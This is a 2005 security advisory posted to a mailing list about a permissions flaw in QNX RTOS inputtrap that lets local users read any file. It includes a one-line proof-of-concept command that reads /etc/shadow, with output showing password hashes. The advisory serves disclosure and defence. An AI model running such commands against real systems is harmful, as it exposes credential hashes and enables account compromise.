

# [NEWS] QNX RTOS inputtrap Arbitrary File Reading

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**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 09/19/05

To: list@securiteam.com

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## QNX RTOS inputtrap Arbitrary File Reading

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### SUMMARY

"<<http://www.qnx.com/>> QNX Neutrino realtime operating system (RTOS) sets the industry standard for reliability, fault tolerance, and scalability."

"inputtrap – Detect input devices and start the input manager."

Lack of proper permission checking allows local attackers to retrieve information from files used by inputtrap.

### DETAILS

Vulnerable Systems:

- \* QNX RTOS version 6.3
- \* QNX RTOS version 6.1.0

Due to improper permissions checking, inputtrap allows administrative access to files anywhere in the disk.

Proof of Concept:

```
$ inputtrap -t /etc/shadow start
```

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options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table  
options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table

Disclosure Timeline:

22 Feb 2005: Vulnerability detected  
09 Jun 2005: Advisory sent to QNX;  
10 Jun 2005: QNX contacted rfdslabs;  
24 Aug 2005: Advisory sent to security mailing lists.

ADDITIONAL INFORMATION

The information has been provided by <mailto:julio@rfdslabs.com.br> Julio Cesar Fort.

The original article can be found at:

<<http://www.rfdslabs.com.br/advisories/qnx-adv-01-2005.txt>>  
<http://www.rfdslabs.com.br/advisories/qnx-adv-01-2005.txt>

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